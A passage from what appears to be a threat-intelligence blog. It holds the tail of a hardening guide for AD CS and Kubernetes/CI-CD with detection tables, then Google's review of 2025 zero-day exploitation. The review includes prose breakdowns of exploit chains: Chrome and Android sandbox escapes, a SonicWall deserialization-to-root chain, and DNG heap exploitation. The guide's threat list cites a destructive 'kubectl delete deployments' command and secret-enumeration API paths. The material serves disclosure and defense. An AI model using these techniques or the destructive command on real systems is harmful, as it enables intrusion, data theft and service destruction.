  • Audit and review the NTAuthCertificates container in AD to validate the referenced CA certificates, as this container references CA certificates that enable authentication within AD. Before authenticating a principal, AD checks the NTAuthCertificates container for the CA specified in the authenticating certificate's Issuer field to validate the authenticity of the CA. If rogue or unauthorized CA certificates are present, this could be indicative of a security event that requires further triage and investigation.

  • To avoid the theft of a CA's private keys (e.g., via the DPAPI backup protocol), protect the private keys by leveraging a Hardware Security Module (HSM) on servers where certificate authority services are installed and configured.

  • Enforce multifactor authentication (MFA) for CA and AD management and operations.

  • Keep the root CA offline and use subordinate CAs to issue certificates.

  • Regularly validate and identify potential misconfigurations within existing certificate templates using the built-in Windows command certutil.exe, or with specialized tools such as PSPKIAudit, Certipy, and Certify. Public tools (e.g., PSPKIAudit, Certipy, or Certify) may be flagged by EDR products as they are frequently used by red teams and threat actors.

  • To mitigate NTLM Relay attacks in AD CS, enable Extended Protection For Authentication for Certificate Authority Web Enrollment and Certificate Enrollment Web Service. Additionally, require that AD CS accept only HTTPS connections. For additional details, reference the following Microsoft Article.

  • Enable audit logging for Certificate Services on CA servers and Kerberos Authentication Service on Domain Controllers by using group policy. Ensure that event IDs 4886 and 4887 from CA servers and 4768 from domain controllers are aggregated in the organization's SIEM solution.

  • Enable the audit filter on each CA server. This is a bitmask value that represents the seven different audit categories that can be enabled; if all values are enabled, the audit filter will have a value of 127.

  • Log and monitor events from the CA servers and domain controllers to enhance detections related to AD CS activities (steps 16 and 17 are needed to ensure the appropriate logs are generated).

  • Detection Opportunities for AD CS Abuse

    Certificate Request with Mismatched SAN (ESC1)

    T1649 - Steal or Forge Authentication Certificates

    Monitor event IDs 4886 (certificate request received) and 4887 (certificate issued) on CA servers. Alert when the requesting account's identity differs from the Subject Alternative Name (SAN) specified in the certificate.

    NTLM Relay to AD CS Web Enrollment (ESC8)

    T1557.001 - LLMNR/NBT-NS Poisoning and SMB Relay

    T1649 - Steal or Forge Authentication Certificates

    Monitor for NTLM authentication to AD CS HTTP enrollment endpoints from domain controllers or privileged servers. Correlate with PetitPotam coercion indicators. This attack chain provides a direct path from any domain user to Domain Admin.

    Table 30: Detection opportunities for AD CS abuse

    5. Preventing Destructive Actions in Kubernetes and CI/CD Pipelines

    Organizations should implement a proactive, defense-in-depth technical hardening strategy to systematically address foundational security gaps and mitigate the risk of destructive actions across their Kubernetes environments and Continuous Integration/Continuous Delivery or Deployment (CI/CD) pipelines. Adversaries increasingly target the CI/CD pipeline and the Kubernetes control plane because they serve as centralized hubs with direct access to application deployments and underlying infrastructure.

    • Source and Build Compromise: Threat actors target code repositories (e.g., GitHub, GitLab, Azure DevOps) and build environments to steal injected environment variables and secrets. Attackers can then commit malicious workflow files designed to exfiltrate repository data or deploy unauthorized infrastructure.

    • Container Registry Poisoning: By compromising developer credentials or CI/CD pipeline permissions, attackers overwrite legitimate application images in the container registry. When the Kubernetes cluster pulls the updated image, it unknowingly deploys a poisoned container embedded with backdoors, ransomware, or destructive data-wiping logic.

    • Cluster-Level Destruction: Once an attacker gains a foothold inside the Kubernetes cluster, they often abuse over-permissive role-based access control (RBAC) configurations. This provides the capability to execute destructive commands using application programming interfaces (APIs) (e.g., kubectl delete deployments), wipe persistent volumes, or delete critical namespaces, effectively causing a loss of availability and application denial of service.

    • Secrets Extraction and Lateral Movement: Attackers routinely execute Kubernetes-specific attack tools to harvest secrets from compromised Kubernetes pods. These secrets often contain database passwords and cloud identity and access management (IAM) keys, allowing the attacker to pivot out of the cluster and impact cloud-based resources.

    Additional information related to securing CI/CD.

    Hardening and Mitigation Guidance

    To defend against CI/CD compromises and destructive actions within Kubernetes, organizations must enforce strict identity boundaries, cryptographic trust, and a least-privilege architecture.

    • Isolate the Kubernetes Control Plane: Disable unrestricted and public internet access to the Kubernetes API server. For managed services like GKE, EKS, and AKS, ensure the control plane is configured as a private endpoint or heavily restricted via authorized network IP allow-listing. Access to the API should only be permitted from trusted, designated internal management subnets or secure corporate VPNs.

    • Secure Management Interfaces and CI/CD Pipelines: Enforce mandatory MFA for all access to infrastructure management platforms, including source code repositories such as GitLab/GitHub, and container registries. Utilize hardened container images (e.g., Chainguard containers, Docker Hardened Images) as base images. Implement software supply chain security frameworks (like SLSA) by requiring image signing, provenance generation, and admission controllers (such as Binary Authorization). This ensures that the Kubernetes cluster will definitively reject and block any unverified or poisoned container images from running.

    • Enforce Strict RBAC and Least Privilege: To limit the "blast radius" of a compromised pod, restrict the use of the cluster-admin role and strictly prohibit wildcard (*) permissions for standard service accounts. Workloads must run under strict security contexts—blocking containers from executing as root, preventing privilege escalation, and restricting access to the underlying worker node (e.g., disabling hostPID and hostNetwork).

    • Implement Immutable Cluster Backups: Protect the cluster's state (etcd) and stateful workload data (Persistent Volumes) by utilizing immutable backup repositories. This ensures that even if an attacker gains administrative access to the cluster or CI/CD pipeline and attempts to maliciously delete all resources, the backups cannot be destroyed or altered.

    • Enable Audit Logging and Threat Detection: Ensure Kubernetes Control Plane audit logs, node-level telemetry, and CI/CD pipeline logs are actively forwarded to a centralized SIEM. Deploy dedicated container threat detection capabilities to immediately alert on malicious exec commands, suspicious Kubernetes enumeration tools, or bulk data deletion attempts within the pods.

    Additional information related to securing Kubernetes.

    Detection Opportunities for Kubernetes and CI/CD

    Use Case

    MITRE ID

    Description

    Bulk Kubernetes Resource Deletion

    T1485 - Data Destruction

    Monitor Kubernetes API audit logs for bulk delete operations targeting Deployments, StatefulSets, Persistent Volume Claims, Namespaces, or ConfigMaps.

    Unsigned or Modified Container Image Deployed to Cluster

    T1525 - Implant Internal Image

    Monitor container registries and Kubernetes admission events for deployment of images that fail signature verification, lack provenance attestation, or originate from untrusted registries.

    Anomalous Kubernetes Secret Access

    T1552.007 - Unsecured Credentials: Container API

    Monitor Kubernetes audit logs for API calls to /api/v1/secrets or /api/v1/namespaces/*/secrets from service accounts or users that do not normally access secrets. 

    Alert on bulk secret enumeration and on access to secrets in sensitive namespaces.

    Unauthorized Modification to CI/CD Pipeline Configuration

    T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain

    Monitor source code repositories for modifications to CI/CD pipeline configuration files. 

    Alert on changes to pipeline definitions made by accounts that are not members of designated pipeline-owner groups, or changes pushed code outside of an approved pull request/merge request workflow.

    Privileged Container or Host Namespace Access

    T1611 - Escape to Host

    Monitor Kubernetes audit logs for pod creation or modification events requesting privileged security contexts, host namespace access, or volume mounts to sensitive host paths. These configurations allow container escape and direct access to the underlying worker node. Alert on any workload requesting these capabilities outside or pre-approved system namespaces.

    Kubernetes Audit Logging or Security Agent Tampering

    T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall

    Monitor for modifications to Kubernetes API server audit policy configurations, deletion or redirection of log export sinks, and disablement or removal of container runtime security agents. Alert on changes to cluster-level logging configurations in managed services (GKE Cloud Audit Logs, EKS Control Plane Logging, AKS Diagnostic Settings) including disablement of API server, authenticator, or scheduler log streams.

    Table 31: Detection opportunities for Kubernetes and CI/CD

    Conclusion

    Destructive attacks, including ransomware, pose a serious threat to organizations. This blog post provides practical guidance on protecting against common techniques used by threat actors for initial access, reconnaissance, privilege escalation, and mission objectives. This blog post should not be considered as a comprehensive defensive guide for every tactic, but it can serve as a valuable resource for organizations to prepare for such attacks. It is based on front-line expertise with helping organizations prepare, contain, eradicate, and recover from potentially destructive threat actors and incidents.

    Look What You Made Us Patch: 2025 Zero-Days in Review

    5 March 2026 at 15:00

    Written by: Casey Charrier, James Sadowski, Zander Work, Clement Lecigne, Benoît Sevens, Fred Plan


    Executive Summary

    Google Threat Intelligence Group (GTIG) tracked 90 zero-day vulnerabilities exploited in-the-wild in 2025. Although that volume of zero-days is lower than the record high observed in 2023 (100), it is higher than 2024’s count (78) and remained within the 60–100 range established over the previous four years, indicating a trend toward stabilization at these levels.

    In 2025, we continued to observe the structural shift, first identified in 2024, toward increased enterprise exploitation. Both the raw number (43) and proportion (48%) of vulnerabilities impacting enterprise technologies reached all-time highs, accounting for almost 50% of total zero-days exploited in 2025. We observed a sustained decrease in detected browser-based exploitation, which fell to historical lows, while seeing increased abuse of operating system vulnerabilities.

    State-sponsored espionage groups continue to prioritize edge devices and security appliances as prime entry points into victim networks, with just over half of attributed zero-day exploitation by these groups focused on these technologies. Commercial surveillance vendors (CSVs) maintained an interest in mobile and browser exploitation, adapting and expanding their exploit chains to bypass more recently implemented security boundaries and other mobile security improvements. Multiple intrusions linked to BRICKSTORM malware deployment demonstrated a range of objectives, but the targeting of technology companies demonstrated the potential theft of valuable IP to further the development of zero-day exploits.

    Key Takeaways

    1. Complexity drives higher mobile vulnerability counts.Mobile zero-day discovery counts fluctuated over the last three years, dropping from 17 in 2023 to 9 in 2024, before rebounding to 15 in 2025. As vendor mitigations evolve and increasingly prevent more simplistic exploitation, threat actors have been forced to expand or adjust their techniques. In some cases, attackers have increased the number of chained vulnerabilities to reach desired levels of access within highly protected components. Conversely, threat actors have also managed successful exploitation with fewer or singular bugs by targeting lower levels of access within a single capability, such as an application or service.
    2. Enterprise software and edge devices remain prime targets.Marking a new high, 48% of 2025’s zero-days targeted enterprise-grade technology. Increased exploitation of security and networking devices highlights the critical risk that can be posed by trusted edge infrastructure, while targeting of enterprise software exhibits the value of highly interconnected platforms that provide privileged access across networks and data assets. Networking and security appliances continued to be highly targeted, by a variety of threat actors, to gain initial access.
    3. Commercial surveillance vendors (CSVs) further reduce barriers to zero-day access. For the first time since we began tracking zero-day exploitation, we attributed more zero-days to CSVs than to traditional state-sponsored cyber espionage groups. This illustrates the expansion of access to zero-day exploitation via these vendors to a wider array of customers than ever before.
    4. People’s Republic of China (PRC)-nexus cyber espionage groups continue to dominate traditional state-sponsored espionage zero-day exploitation. Consistent with the trend we have observed for nearly a decade, in comparison to other state sponsors, PRC-nexus groups remained the most prolific users of zero-day vulnerabilities in 2025. These groups, such as UNC5221 and UNC3886, continued to focus heavily on security appliances and edge devices to maintain persistent access to strategic targets.
    5. Zero-day exploitation by financially motivated threat groups ties previous high. In 2025, we attributed the exploitation of 9 zero-days to confirmed or likely financially motivated threat groups. This nearly matches the total volume of 2023 and represents a higher proportion of all attributed vulnerabilities in 2025. 

    2026 Zero-Day Forecast

    Targets and Techniques Continue to Expand

    As certain vendors continue to drive improvements that have made vulnerability exploitation more difficult, particularly in the browser and mobile space, adversaries will continue to adapt with more expansive techniques and diverse targets. Enterprise exploitation will continue to be further enabled by the breadth of applications used across infrastructure. Increased numbers of software, devices, and applications expand attack surfaces, with successful exploitation requiring only a single point of failure to achieve a breach.

    AI Changes the Game

    We anticipate that AI will accelerate the ongoing race between attackers and defenders in 2026 creating a more dynamic threat environment. We expect adversaries will utilize AI to automate and scale attacks by accelerating reconnaissance, vulnerability discovery, and exploit development. Reducing the time required for these phases will place further pressure on defenders to better detect and respond to zero-day exploitation. At the same time, AI will empower defenders to harness tools like agentic solutions to enhance security operations. AI agents can proactively discover and help patch previously unknown security flaws, enabling vendors to neutralize vulnerabilities before exploitation. 

    Using Access for Research

    A BRICKSTORM malware campaign in 2025, attributed to PRC-nexus espionage operators, may indicate a new paradigm for zero-day exploitation where data theft has the potential to enable long-term zero-day development. Instead of just exfiltrating sensitive client data, the threat actors targeted intellectual property from the victim companies, potentially including source code and proprietary development documents. This IP could be used to discover new vulnerabilities in the vendor's software, not only posing a threat to the victims themselves but also to victims’ downstream customers.

    Scope

    This report describes what Google Threat Intelligence Group (GTIG) knows about zero-day exploitation in 2025. GTIG defines a zero-day as a vulnerability that was maliciously exploited in the wild before a patch was made publicly available. The following analysis leverages original research conducted by GTIG combined with reliable open-source reporting, though we cannot independently confirm the reports of every source. 

    Research in this space is dynamic and the numbers may adjust due to the ongoing discovery of past incidents. Our analysis represents exploitation tracked by GTIG but may not reflect all zero-day exploitation. The numbers presented here reflect our best understanding of current data, and we note that all zero-days included in our 2025 dataset have patches available. GTIG acknowledges that the trends observed and discussed in this report are based on detected and disclosed zero-days, with a cutoff date of Dec. 31, 2025. 

    A Numerical Analysis

    Zero-days by year

    Figure 1: Zero-days by year

    GTIG tracked 90 vulnerabilities that were disclosed in 2025 and exploited as zero-days. This number is consistent with a consolidating upward trend that we have observed over the last five years; the total annual volume of zero-days has fluctuated within a 60-100 range over this time period, but has remained elevated compared to pre-2021 levels. As certain categories of exploitation shift over time, whether due to vendor mitigations or newer high-value opportunities, total zero-day counts continue to appear within an expected range, rather than seeing drastic overall decreases or increases.

    Enterprise Exploitation Expands Further in 2025

    2025 zero-days in end-user vs enterprise products

    Figure 2: 2025 zero-days in end-user vs enterprise products

    Enterprise Technologies

    We identified 43 (48%) zero-days in enterprise software and appliances in 2025, up from 36 (46%) in 2024. This consistent proportion underscores the shift toward enterprise infrastructure as a structural change in the threat landscape, reflecting the value of tools that enable privilege escalation, high-level access, and broad scale of impact.

    • Security & Networking: These vulnerabilities made up about half (21) of the enterprise-related zero-days in 2025, remaining a prominent target for achieving code execution and unauthorized access via privileged infrastructure components. A lack of input validation and incomplete authorization processes were common flaws within these products, demonstrating how basic systemic failures continue to persist, but are fixable with proper implementation standards and approaches. Edge devices–often including security and networking devices–sit at the perimeter of an organization's infrastructure and remain high value targets. The absence of EDR technology on most edge devices, like routers, switches, and security appliances, can create a blind spot for defenders, making it an ideal attack surface. This limitation can hinder the ability to detect anomalies or gather host-based evidence once these devices are compromised. While 14 zero-days in 2025 were identified as affecting edge devices, this figure likely underrepresents the true scale of activity due to inhibited detection capabilities.
    • Enterprise Software: High-profile exploitation of enterprise tools and virtualization technologies demonstrates that attackers are deeply embedding themselves in critical business infrastructure. Threat actors continue to pursue the most vulnerable and exposed assets to work around mitigations that may exist in specific areas of or products within an infrastructure.

    End User Platforms and Products

    In 2025, 52% (47) of the tracked zero-days were used to exploit end-user platforms and products.

    • Operating Systems (OSs): OSs, including both desktop and mobile, were the most exploited product category in 2025, accounting for 44% (39) of all zero-days. This is a rise from previous years when comparing both raw numbers (31 in 2024, and 33 in 2023) and proportions of total zero-day exploitation (40% in 2024 and 33% in 2023). Desktop OS zero-days have fluctuated between 16 and 23 annually while maintaining a gradual upward trajectory, illustrating the foundational role of these platforms and the massive scale of effect permitted by OS-level exploitation.

    • Mobile Devices: Mobile OS exploitation in particular saw a notable increase, with a total of 15 zero-days in 2025 compared to the 9 identified in 2024. Given that we observed 17 mobile-related zero-days in 2023, the following factors likely accounted for this temporary decline and the subsequent resurgence in activity:

      • Multiple exploit chains discovered in 2025 included three or more vulnerabilities, inflating the number of individual vulnerabilities required to achieve a single objective.

      • Threat researchers discovered more complete exploit chains in 2025 than have been found in the past, when sometimes only partial chains or a single vulnerability was identified and could be accounted for.

      • Threat actors, and CSVs in particular, have found novel techniques to bypass new security boundary implementations.

    • Browsers: Browsers accounted for less than 10% of 2025 zero-day exploitation, a marked decrease from the browser-heavy years of 2021-2022. This suggests that browser hardening measures are working. However, we also assess that attackers’ operational security has improved and therefore made their actions more difficult to observe and track, potentially reducing the volume of observed exploitation in this space.

    Exploitation by Vendor

    2025 zero-day exploitation by vendor

    Figure 3: 2025 zero-day exploitation by vendor

    2025’s exploited vendors followed the same pattern we observed last year, with big tech experiencing the most zero-day exploitation and security vendors following directly behind. Big tech companies continue to dominate the user base for consumer products, making them prime targets for exploitation, particularly in desktop OSs, browsers and mobile systems. Cisco and Fortinet remain commonly targeted networking and security vendors, while Ivanti and VMware continue to see exploitation that reflects the high value threat actors place on VPNs and virtualization platforms.

    We observed 20 vendors who were exploited by just one zero-day each, further demonstrating threat actors’ success in targeting varying vendors and products to find successful footholds in desired targets.

    Types of Exploited Vulnerabilities

    As observed in prior years, zero-day exploitation was primarily used to achieve remote code execution, followed by gaining privilege escalation. These were especially common consequences in observed exploitation of big tech and security vendors. Both code execution and unauthorized access were common goals of network and edge infrastructure exploitation, displaying the advantage of exploiting high-privilege assets with widespread reach across systems and networks.

    2025 saw an array of both structural design flaws and pervasive implementation issues, exemplifying the omnipresence of known, yet prolific, problems. 

    • Injection & Deserialization: Command injection and deserialization were critical vectors in the enterprise space. These types of vulnerabilities often allow for reliable remote code execution (RCE) without the complexity of memory corruption exploits. SQL and command injection vulnerabilities were common in web-facing enterprise appliances, providing rudimentary avenues for initial access.
    • Memory Corruption: Threat actors continued to rely on memory corruption, with memory safety issues (particularly use-after-free [UAF] and out-of-bounds write) accounting for roughly 35% of the vulnerabilities. UAF weaknesses remained a top vector for user-centered products like browsers and OS kernels.
    • Access Control: The prevalence of authentication and authorization bypass vulnerabilities highlights the difficulty edge devices face in securing both the network perimeter and their own administrative interfaces.
    • Logic and Design Flaws: Frequently exploited in enterprise appliances, these issues represent fundamental architectural weaknesses where the system’s intended logic or design is inherently insecure. Because the software is behaving as designed, these flaws are harder for vendors to detect.

    Who Is Driving Exploitation

    Attributed 2025 zero-day exploitation

    Figure 4: Attributed 2025 zero-day exploitation

    Commercial Surveillance Vendor Exploitation Grows

    For the first time since we started tracking zero-day exploitation, we attributed more exploitation to CSVs than to traditional state-sponsored cyber espionage groups. Despite these actors’ increased focus on operational security that likely hinders discovery, this continues to reflect a trend we began to observe over the last several years–a growing proportion of zero-day exploitation is conducted by CSVs and/or their customers, demonstrating a slow but sure movement in the landscape. Historically, traditional state-sponsored cyber espionage groups have been the most prolific attributed users of zero-day vulnerabilities. Over the last few years, the increase of zero-day exploitation attributed to CSVs and their customers has demonstrated the growing ability of these vendors to provide zero-day access to a wider range of threat actors than ever before. 

    GTIG has reported extensively on the capabilities CSVs provide their clients as well as how many CSV customers use zero-day exploits in attacks which erode civil liberties and human rights. In late 2025, we reported on how Intellexa, a prolific procurer and user of zero-days, adapted its operations and tool suite and continues to deliver extremely capable spyware to high paying customers. 

    People’s Republic of China (PRC)-Nexus Cyber Espionage Groups Still Most Prolific 

    Although the proportion of 2025 zero-day exploitation that we attributed to traditional state-sponsored cyber espionage groups was lower than in previous years, these groups remained significant developers and users of zero-day exploits in 2025. Consistent with the trend we have observed for nearly a decade, PRC-nexus cyber espionage groups remained the most prolific users of zero-days across state actors in 2025. We attributed the use of at least 10 zero-days to assessed PRC-nexus cyber espionage groups. This was double what we attributed to these groups in 2024, but below the 12 zero-days we attributed in 2023. PRC-nexus espionage zero-day exploitation continued to focus on edge and networking devices that are difficult to monitor, allowing them to maintain long-term footholds in strategic networks. Examples of this include the exploitation of CVE-2025-21590 by UNC3886 and the exploitation of CVE-2025-0282 by UNC5221.

    Observed mass exploitation of vulnerabilities suggests that PRC-nexus espionage operators are increasingly adept at developing, sharing, and distributing exploits among themselves. Historically, zero-day exploits were closely held and leveraged only by the most resourced threat groups. Over time, however, we have observed that an increasing number of activity clusters are exploiting vulnerabilities closer to public disclosure, indicating that PRC-nexus espionage operators have potentially reduced the time to both develop exploits and distribute them among otherwise separate groups. This is reflected not only in the gradual proliferation of exploit code targeting specific vulnerabilities, but also by the shrinking gap between the public disclosure of n-day vulnerabilities and their widespread exploitation by multiple groups. 

    In sharp contrast to 2024, during which we attributed the exploitation of five zero-days to North Korean state-sponsored threat actors, we did not attribute any zero-days to North Korean groups in 2025.

    Financially Motivated Exploitation Spikes

    We tracked the exploitation in 2025 of nine zero-days by likely or confirmed financially motivated threat groups, including the reported exploitation of two zero-days in operations that led to ransomware deployment. This almost ties the previous high of 10 zero-days we attributed to financially motivated groups in 2023 and is nearly double the five zero-days we attributed to financially motivated actors in 2024. Although the total volume of zero-day exploitation we have attributed to financially motivated groups has varied year over year, the sustained presence of these threat actors in the zero-day landscape reflects their continued investment in zero-day exploit development and deployment. Financially motivated actors, including ransomware affiliates, were linked to a substantial number of enterprise exploits, reflecting a trend we observed across multiple motivations.

    • We observed zero-day exploitation by FIN11 or associated clusters in four of the last five years–2021, 2023, 2024, and 2025. In late September 2025, GTIG began tracking a new, large-scale extortion campaign by a threat actor claiming affiliation with the CL0P extortion brand, which has predominantly been used by FIN11. The actor sent a high volume of emails to executives at numerous organizations, alleging the theft of sensitive data from the victims' Oracle E-Business Suite (EBS) environments. Our analysis indicated that the CL0P extortion campaign followed months of intrusion activity targeting EBS customer environments. The threat actor exploited CVE-2025-61882 and/or CVE-2025-61884 as a zero-day against Oracle EBS customers as early as Aug. 9, 2025, weeks before a patch was available, with additional suspicious activity dating back to July 10, 2025.
    • GTIG identified UNC2165, a financially motivated group that overlaps with public reporting on Evil Corp and has prominent members in Russia, leveraging CVE-2025-8088 to distribute malware in mid-July 2025. This activity marked the first instance where we observed UNC2165 use a zero-day for initial access. Additional evidence from underground activity and VirusTotal RAR archive submissions indicate that CVE-2025-8088 was also exploited during this same period by other actors, including a threat cluster with suspected overlaps with CIGAR/UNC4895 (publicly reported as RomCom). UNC4895 is another Russian threat group that has conducted both financially motivated and espionage operations, including the exploitation of two other zero-days in 2024.

    Spotlights: Notable Threat Actor Activity and Techniques

    Browser Sandbox Escapes

    The discovery of various browser sandbox escapes in 2025 provided an opportunity to evaluate current trends and developments in this area. Analysis of those identified this year revealed a significant trend: none were generic to the browser sandbox itself (e.g., CVE-2021-37973, CVE-2023-6345, CVE-2023-2136); instead, these sandbox escapes were specifically designed to exploit components of either the underlying operating system or hardware used. This section gives a brief technical overview of these vulnerabilities.

    Operating System-Based Sandbox Escapes

    CVE-2025-2783 targeted the Chrome sandbox on Windows. The vulnerability was caused by the improper handling of sentinel OS handles (-2) that weren’t properly validated. By manipulating inter-process communication (IPC) messages via the ipcz framework, an attacker could relay these special handles back to a renderer process. The exploit allowed a compromised renderer to gain access to handles, leading to code injection within more privileged processes and ultimately to a sandbox escape.

    CVE-2025-48543 affected the Android Runtime (ART), the system that translates application bytecode into native machine instructions to improve execution speed and power efficiency. A UAF vulnerability occurred during the deserialization of Java objects, such as abstract classes, that should not be instantiable in the first place. The most notable aspect of the exploit is how the bug can be reached from a compromised Chrome renderer. On recent Android versions, the exploit sent a Binder transaction to deliver a serialized payload embedded into a Notification Parcel object. The subsequent unparceling of the malicious object caused a UAF in ART, leading to arbitrary code execution within system_server, a service that operates with system-level privileges. While this specific vulnerability class and attack vector may be new publicly, we have observed Parcel mismatch n-day vulnerabilities being exploited to achieve Chrome sandbox escapes using the same attack vector in the past.

    Device-Specific Sandbox Escapes

    CVE-2025-27038 is a UAF vulnerability in the Qualcomm Adreno GPU user-land library that can be triggered through a sequence of WebGL commands followed by a specifically crafted glFenceSync call. The vulnerability allows attackers to achieve code execution within the Chrome GPU process on Android devices. We observed in-the-wild exploitation of this vulnerability in a chain with vulnerabilities in the Chrome renderer (CVE-2024-0519) and the KGSL driver (CVE-2023-33106).

    In a similar instance, CVE-2025-6558 targeted the Mali GPU user-land library. This vulnerability was triggered by a sequence of OpenGLES calls that were not properly validated by the browser. Specifically, an out-of-bounds write was caused within the user-land driver due to the issuance of glBufferData() with the GL_TRANSFORM_FEEDBACK_BUFFER parameter while a previous glBeginTransformFeedback() operation remained active. Google addressed this issue in ANGLE by implementing validation to invalidate this specific call sequence. We observed in-the-wild exploitation of this vulnerability in a chain with vulnerabilities in the Chrome renderer (CVE-2025-5419) and in the Linux kernel's posix CPU timers implementation (CVE-2025-38352).

    Additionally, CVE-2025-14174 is a vulnerability that affected the Metal backend on Apple devices. In that case, ANGLE incorrectly communicated a buffer size during the implementation of texImage2D operation, resulting in an out-of-bounds memory access within the Metal GPU user-mode driver.

    SonicWall Full-Chain Exploit

    In late 2025, GTIG collected a multi-stage exploit for SonicWall Secure Mobile Access (SMA) 1000 series appliances. The exploit chain leveraged multiple vulnerabilities to provide either authenticated or unauthenticated remote code execution as root on a targeted appliance, including one that was being leveraged as zero-day.

    Authentication Bypass (n-day)

    The exploit can be leveraged with or without an authenticated JSESSIONID session token. When executed without a token, the exploit attempts to get one for the built-in admin user by exploiting a weakness in SSO token generation within the Central Management Server feature in SMA 1000.

    This vulnerability was patched as a part of CVE-2025-23006. It was reported to SonicWall by Microsoft Threat Intelligence Center (MSTIC), and was reportedly exploited in the wild prior to it being patched in January 2025. GTIG is currently unable to assess if prior exploitation of this vulnerability is linked to use of this new exploit chain.

    Remote Code Execution (n-day)

    Once the exploit has a valid session cookie for the target, it attempts to attain remote code execution through a deserialization vulnerability, where an object is serialized and encoded with Base64, and then passed between the web application client and the appliance server without any integrity checks. This allows an attacker to forge a malicious Java object and send it to the server, which parses the object and causes arbitrary Java bytecode to be executed. The exploit leverages this primitive to run arbitrary shell commands using a payload generated by ysoserial, a common tool used to assist with exploiting Java serialization-related vulnerabilities.

    This vulnerability was patched by encrypting objects with AES-256-ECB prior to sending them to the client, using an ephemeral key generated randomly at server startup and stored in-memory. Payloads mutated without knowledge of the key won't be successfully parsed, which mitigates the risk of deserializing untrusted objects without another vulnerability leaking the encryption key. The patch was silently released in March 2024 without a CVE.

    Local Privilege Escalation (0-day)

    After exploiting the aforementioned deserialization vulnerability, the exploit is able to execute arbitrary shell commands as the mgmt-server user, which runs the Java process hosting the management web application. To escalate to root privileges, the exploit used a zero-day in ctrl-service, a custom XML-RPC service written in Python and bound to a loopback address on port 8081. This makes it inaccessible directly to a remote attacker, but accessible after already gaining code execution on the device at a lower privilege level. While this vulnerability could be exploited when combined with a newly discovered RCE vulnerability, or with direct console/SSH access to the appliance, we've presently only observed it being chained with the RCE exploit previously discussed.

    GTIG reported this vulnerability to SonicWall, who published a patch for it in December 2025 as CVE-2025-40602. To fix this vulnerability, SonicWall added signature verification to the service to prevent it from executing unsigned files.

    DNG Vulnerabilities

    This section specifically examines samples exploiting CVE-2025-21042, a vulnerability for which GTIG has not confirmed zero-day exploitation; however, we include this discussion of the underlying exploitation techniques because zero-days CVE-2025-21043 and CVE-2025-43300 share identical exploitation conditions.

    Between July 2024 and February 2025, several suspicious image files were uploaded to VirusTotal. Thanks to a lead from Meta, these samples came to the attention of Google Threat Intelligence Group. Upon investigation of these images, we discovered that they were digital negative (DNG) images targeting the Quram library, an image parsing library specific to Samsung devices.  

    The VirusTotal submission filenames of several of these exploits indicated that these images were received over WhatsApp. The final payload, however, indicated that the exploit expects to run within the com.samsung.ipservice process. This is a Samsung-specific system service responsible for providing “intelligent” or AI-powered features to other Samsung applications, and will periodically scan and parse images and videos in Android’s MediaStore.

    When WhatsApp receives and downloads an image, it will insert the image in MediaStore. This permits downloaded WhatsApp images (and videos) to hit the image parsing attack surface within the com.samsung.ipservice application. However, WhatsApp does not intend to automatically download images from untrusted contacts. Without additional bypasses, and assuming the image is sent by an untrusted contact, a target would have to click the image to trigger the download and have it added to the MediaStore. This classifies as a “1-click” exploit. GTIG does not have any knowledge or evidence of the attacker using such a bypass to achieve 0-click exploitation.

    com.samsung.ipservice comes with a proprietary image parsing library named “Quram,” which is written in C++. The image parsing is done in-process, unsandboxed with respect to the service’s privilege. This breaks the Rule Of 2 and means a single memory corruption vulnerability can grant attackers access to everything to which com.samsung.ipservice has access, i.e. a phone’s entire MediaStore.

    This is exactly what the attackers did when they discovered a powerful memory corruption vulnerability (CVE-2025-21042), which allows controlled out-of-bounds write at controlled offsets from a heap buffer. With this single vulnerability, they were able to obtain code execution within the com.samsung.ipservice process and execute a payload with that process’ privileges.

    There were no significant hurdles for the attackers aside from some ASLR bypassing tricks. No control flow integrity mitigations, like pointer authentication code (PAC) or branch target identification (BTI), are compiled into the Quram library. This allowed the attackers to use arbitrary addresses as jump-oriented programming (JOP) gadgets and construct a bogus vtable. The scudo allocator also failed to engage proper hardening techniques. The heap spraying primitives - more or less inherent to the DNG format - are powerful and allow for a predictable heap layout, even with scudo’s randomization strategy. The absence of scudo’s “quarantine” feature on Android is also convenient for deterministically reclaiming a free’d allocation.

    This case illustrates how certain image formats can provide strong primitives out of the box for turning a single memory corruption bug into 0-click ASLR bypasses and resulting remote code execution. By corrupting the bounds of the pixel buffer using CVE-2025-21042, subsequent exploitation can occur by taking advantage of the DNG specification and its implementation.

    The bug exploited in this case is both powerful and quite shallow. As Project Zero’s Reporting Transparency illustrates, several other vulnerabilities in the same component have been discovered over the recent months.

    These types of exploits do not need to be part of long and complex exploit chains to achieve something useful for attackers. By finding ways to reach the right attack surface with a single relevant vulnerability, attackers are able to access all the images and videos of an Android’s MediaStore, posing a powerful capability for surveillance vendors.

    A more detailed technical analysis of the exploit can be found on Project Zero’s blog.

    Prioritizing Defenses and Mitigating Zero-Day Threats

    Defenders should prepare for when, not if, a compromise happens. GTIG continues to observe vulnerability exploitation as the number one initial access vector in Mandiant incident response investigations, outnumbering other vectors like stolen credentials and phishing. System architectures should be designed and built with ingrained security awareness, enabling inherent segmentation and least privilege access. Comprehensive defensive measures as well as response efforts require a real-time inventory of all assets to be audited and maintained. While not preventative, continuous monitoring and anomaly detection, within both systems and networks, paired with refined and actionable alerting capabilities is a real-time way to detect and act against threats as they occur. 

    The following is a non-comprehensive set of approaches and guidelines for defending against zero-day exploitation on both personal devices and within organizational infrastructure:

    1. Architectural Hardening & Surface Reduction

      • Infrastructure:

        • Ensure your DMZ, firewalls, and VPNs are properly segmented from critical assets, including the core network and domain controllers, in order to prevent lateral movement from compromised external components.

        • Monitor execution flow within applications in order to block unauthorized database queries and shell commands

        • Do not expose network ports of devices to the internet when not strictly required

      • Personal devices:

        • Turn off the device and/or leave the device at home when under increased risk of exploitation.

        • Put the device in before first unlock (BFU) mode and USB restricted mode when under increased risk of physical attacks.

        • Turn off cellular, WiFi and bluetooth when under increased risk of close proximity attacks.

        • Apply patches as soon as they become available.

        • Use ad blockers, configure Apple ad privacy settings, and enable the Android privacy sandbox options when possible.

        • Enable Android Advanced Protection Mode and iOS Lockdown Mode.

        • Remove applications, and disable services and features- including ones enabled by default- when not used.

    2. Advanced Detection & Behavioral Monitoring

    3. Operational Response

      • Infrastructure:

        • Maintain a Software Bill of Materials (SBoM) to reference and locate affected libraries of disclosed zero-days (e.g., Log4j) across the environment.

        • Establish a process for bypassing standard change management when vulnerabilities require immediate attention.

